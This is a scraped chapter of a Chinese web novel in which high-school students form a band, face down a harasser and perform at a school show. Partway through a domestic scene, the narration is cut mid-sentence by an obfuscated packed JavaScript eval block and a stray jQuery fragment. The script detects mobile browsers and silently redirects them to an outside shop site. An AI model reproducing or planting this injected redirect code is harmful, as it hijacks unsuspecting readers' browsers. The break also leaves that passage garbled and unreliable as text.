翌日,刚上自习课,梵音跟华子说明了情况,在经过华子的同意与鼓励后,她背着新买的电吉他去了学校的音乐室。
她是最后一个到的,另外三个人一副恭候多时的模样。
逃课且无视校纪校规三人组,都挺拽。
“老陈放过你了?”雪慧问了句。
陈之华当班主任十几年,名声在外,对学生严格是出了名的。
“他挺支持的。”梵音如实道。
雪慧夸了句:“看来他也没传说中那么刻板啊,挺开明的。”
梵音轻嗯了声:“他挺幽默的。”
音乐室内音乐器材很齐全,梵音被黑色的架子鼓吸引视线,随口评价了一句:“挺酷。”
她随手拖来一把白色椅子坐下。
湛京鹤抬脚走到架子鼓前坐下,拿起鼓槌,手起手落,得心应手地敲了一段,那个拿捏一切的劲儿又上来了。
点卡的准,节奏踩得贼准。
典型的公孔雀开屏行为,雪意跟雪慧相视一笑,什么时候能看见大拽王主动献艺。
梵音听出来了,敲的是方大同的《BB88》这歌她很喜欢,不得不说,她跟湛京鹤在品味方面挺合得来。
不过她现在暂时不想跟他搭话,直接略过这个话题,问:“选好歌了没?”
“还没呢。”雪慧回,“得先给我们的乐队取个名吧,你们有什么想法?”
一片沉寂,无人应答。
雪慧:“你们突然安静是怎么回事?”
典型的姐姐奴雪意发言:“都听你的。”
“行啊。”雪慧现想了一个,“那就叫少女时代。”
少女时代,名字挺好,但是更加适用于全是女生的乐队,她故意激湛少爷的。
湛京鹤看她,淡淡道:“叫参差小组吧。”
他们这四个人确实在性格,成绩,身高方面都挺参差不齐的。
雪慧笑点低,一下被戳中,噗嗤一声笑出声来。
梵音突然很想逗逗他,憋笑道:“我同意,就叫少女时代吧。”
湛京鹤看她,进行眼神交流,说的是——跟我对着干是吧。
梵音眨了下眼,一脸无辜。
雪慧及时止住:“好了好了,不开玩笑了,认真点,取个适合我们的队名。”
“四个半吊子凑一窝。”雪意在一旁淡淡补刀。
还真是,一语中的。
脑子里灵光乍现,雪慧双手一拍:“就叫半吊子乐队。”
梵音:“有个性,我喜欢。”
湛京鹤:“可以。”
四人一致投票透过,半吊子乐队由此产生,当时的这四个少年,并没有想过半吊子乐队在十年后的雅苑高中火的不像话。
十七岁时的他们,没有提前去谋划什么,而是为了自己的梦想与一腔热忱向前冲,他们不是孤独的冲锋者,而是满山盛开的野荆棘——扎死那些挡路的。
就这么刚。
他们最后选的歌是李玖哲的《夏天》
……
周明遥正把一个女生堵在小卖部,开口便是不正经的调-戏:“你的裙子补好了吗?”
此言一出,跟在他身后的两个男生便开始起哄般的哄笑起来。
梵音也没想到自己运气这么好,刚练完歌,出校想买杯奶茶,就碰到他们这群恶心人。
女生想往旁边走,周明遥上前挡住。
“让一下。”
这平静淡如水的声音一出来,梵音便知道了女生是谁。
周明遥还不依不饶,笑嘻嘻道:“你请我喝奶茶我就让开。”
姜渔抬眸平静地看他,就像在看垃圾桶里的垃圾,或是一条长满蛆虫的腐肉一般,眸子里透出难以抑制的嫌恶。
梵音上前把姜渔拉开一段距离,与周明遥对峙:“这么喜欢让别人请客?这样吧,你叫我声爸爸,我请你喝个够。”
“又是你。”周明遥回,“这件事跟你有什么关系?”
梵音怼他:“怎么没关系,子不教父之过。你这么不尊重女生,我当然要好好教你。”
周围人的视线齐齐聚集到这边,周明遥觉得丢了面子,上前狠狠揪住梵音的衣领:“不想被打就闭嘴。”
“你别动她。”姜渔平静的语气中带了些不易察觉的急切。
梵音丝毫不惧,嘴角扯出一抹笑,眼神里尽是藐视:“有种你打啊。”
周明遥的眼神里怒气与怯懦交杂,他不敢下手,他没这个胆子,梵音知道,他自己心里也清楚,他只是在虚张声势。
两人就着这个姿势僵持了几分钟。
周明遥旁边的男生劝道:“算了吧,遥哥。”
“对啊,遥哥,算了吧,这事闹大了也不好,省的别人说我们欺负女生。”
周明遥松开扯着衣领的手。
梵音连一个眼神都没剩给他,拉起姜渔的手带着她离开。
周明遥看着两人的背影。
“以后少多管闲事,虽然我不打女人,但要是还有下次,我绝对不会像今天这样放过你。”
“哦,是吗?”梵音转身,盯着他,语带嘲讽,“可你看起来就像是只会打女生啊。”
周明遥咬牙道:“你她妈……”
话未说完,巨大了“嘭”地一声,一杯奶茶直直地砸向周明遥,在他脸上炸开,奶茶飞溅出几米。
周明遥脸上全是奶茶,从脸上往下流。
好在梵音离得不近,幸免于难。她的位置是最佳观影位,目睹全过程。该说不说,看得挺爽。
姜渔关心地问:“你没事吧。”
“还好。”梵音悠悠答。
湛京鹤慢悠悠地走近,他比周明遥高出半个头,轻而易举地提起周明遥的衣领,像刚才周明遥对梵音那样。
“我给你两个选择,要么你去跟她道歉,要么我把你打到跟她道歉。”
周明遥不敢动梵音的原因之一,就是他知道梵音有湛京鹤护着,湛穆亭之前告诉过他。
而种种事件也验证了这句话。
不管梵音在哪,湛京鹤一直都在她身后。
周明遥深知自己惹不起梵音,更惹不起湛京鹤。
平常看起来闲云野鹤的人,发起怒来是不要命的。
湛京鹤不耐道:“说话。”
来势汹汹的怒气。
周明遥被他的气势压迫,崩溃地问:“这两个选择有区别啊?”
“当然了。”湛京鹤给他解释,“一个是主动,一个是被动,都取决于你想不想被打。”
周明遥斜眼瞟了下周围,雪慧雪意两姐妹站在梵音身后,她们是来给她撑腰的。
“我道歉,我道歉。”周明遥战战兢兢。
湛京鹤松开手,周明遥走到梵音面前说了句对不起。
梵音侧头看姜渔。
姜渔淡淡道:“你走吧。”
这件事就这样结束,周明遥一行人以及围观的人都离开。
刚才被周明遥把衣领处扯皱了,姜渔伸手帮梵音整理衣领。
理完后她收回手。
梵音:“谢谢。”
“是我要谢谢你。”姜渔回,“梵音,你长得很像我小时候的一个……朋友。”
这个话题来的很突然。
梵音愣了愣:“我们小时候认识吗?”她轻勾了下-唇,“不好意思,我记性不太好,小时候很多人和事都不记得了。”
……
姜渔愣住,只几秒,便摇头:“没有,不认识,是我记错了。”
晚上梵音回到家,刚开门就看见湛京鹤正蹲在客厅,糯米蹲在他对面,一人一猫正在对峙。
“乖一点行不行。”湛京鹤伸-出手摸向糯米的头。
还没摸到,糯米便往后躲,然后伸-出爪子拦他。
湛京鹤笑了笑:“这么凶。”
不知道是猫随主人,还是主人像猫。
梵音反手关上门,走进客厅,湛京鹤听到声响,侧头看她,说了句:“回来了?”
梵音说:“你别凶它。”
湛京鹤仿佛听到什么好玩的话一样,轻挑了下眉:“我凶它?分明就是它凶我好不好。梵音,你这个当妈的,能不能公平点。”
梵音在心里品味了很久,还是觉得这句话怪怪的,一种莫名其妙的老夫老妻讨论怎么教育孩子的问题的感觉。
她问:“它干什么坏事了?”
“坏事倒算不上。”湛京鹤云淡风轻地回,“应该是叛逆期到了,凶得很。”
他又闲散地补充
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14009564|140712||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
一句:“你这个当妈的,多管着点。”
不行,这个称呼实在是太怪了,特别是从他的口中说出来。
她是妈妈,他是爸爸,那他们两这关系该怎么算。
梵音纠正:“我是姐姐。”
不是妈妈。
“哦。”湛京鹤回,“那我是哥哥。”
故意的,绝对是故意来碰瓷的。
……
一个星期后,校庆晚会如期而至,全校师生搬着凳子前往操场。
夜色降临,灯光璀璨,欢呼与期待共存。
第一个节目是女团舞,场面劲-爆,台风稳健,正式拉开校庆晚会的序幕。
第二个节目是小品,演员演技十分自然,特别有梗,笑料十足,一点不尴尬,把同学们逗得直乐呵。
第三个节目是民族舞。
一共十五个节目,半吊子乐队排在第九个。
很快演出进程过半,梵音他们提前去后台准备。
第八个节目诗朗诵,略微有点无聊。
节目结束,灯光熄灭。
他们四人走向舞台,走到原先排好的位置。余汐和秦铮旭坐在台下录视频,互相嫌弃对方拍的差,在抢相机。
一切就绪后,湛京鹤举手比了个“ok”手势。
聚光灯骤然打下,伴奏随着一起出来。
主唱是吉他手梵音,和鼓手湛京鹤,两个人。
“春雨后太阳缓缓的露出笑容”
“你的微笑就像弯弯的彩虹”
“这片天空云朵就是我随时随地环绕你四周”
由梵音先唱,她刻意把声音压厚了点,原本清透的声音带上点厚度,如缓缓流淌的红酒,眷恋又勾-人。
跟她今天的装扮一样,黑色吊带裙,美的不像话。
她坐在高脚凳上,一束灯光打向她,红唇勾起,长睫微垂,她手指拨动着琴弦,又烈又飒,像一朵浴火即焚的红玫瑰,艳而不俗。
“我也想紧紧握紧紧牵你的手浪漫地抱着你看着日落”
“怕黑时候数着指头时间就会很快过”
“我会小心呵护守护下雨有我肩膀靠”
台下欢呼声一片,一阵盖过一阵。
湛京鹤穿着黑色卫衣,脖子上挂着一条银色项链,闪着细碎的光,唱歌时,身体微微倾向话筒,姿态闲散得不像话,鼓槌在他手里,每一个点都敲得恰到好处。
不过与梵音相比,他倒有一种乖乖小狗的既视感。
合:“睡不着记得想着我三秒后会梦见我”
“载着气球陪你兜风看遍所有会笑的星空”
台下的同学跟着合唱。
梵音拿起话筒,反手举向台下,微风扬起她的发丝,她轻点着头,一下一下一下打着节拍。
台下的同学纷纷拿出手机,打开闪光灯,随着节奏左右摇晃。
“整个夏天想和你环游世界”
“山路蜿蜒就像是爱的冒险”
“你的笑容是我唯一的零嘴”
“我用双眼捕捉这特写”
全校大合唱把气氛顶-到了极点。
少年和夏天最配。
操场上中午温热的气息还未消散,有种卷土重来的气势。
梵音回想起湛京鹤在过年那天说的那句话——“夏天就快到了。”
夏天果然到了。
夏天是救人于绝缝的第二春。
少年永远是经久不息的夏天。
夏天就该这样,掌声与欢呼声,热烈与激-情澎湃。
歌曲完结,湛京鹤站起身,左手将鼓槌横放,向上抛起,右手拿着鼓槌用力往上一挥,两支鼓槌相接触成十字形,先前抛起的鼓槌被击得更高,他仰头,抬手,鼓槌稳稳落入他手中。
舞台上的聚光灯打到他脸上,下颚线利落,皮肤白皙,喉结凸-起,帅得不像真人。
此刻,欢呼声与尖叫声被顶-到了高峰。
在灯光落幕前,台下的余汐用相机拍下了一张照片。
明亮的两簇聚光灯下,抱着吉他的少女跟站在架子鼓前的少年,透过灯光对视,两人眼里带着的,可能是自己都未曾发觉的情感。
台上的其它地方都是黑暗,只有他们被聚光灯笼罩,每根发丝都闪着光。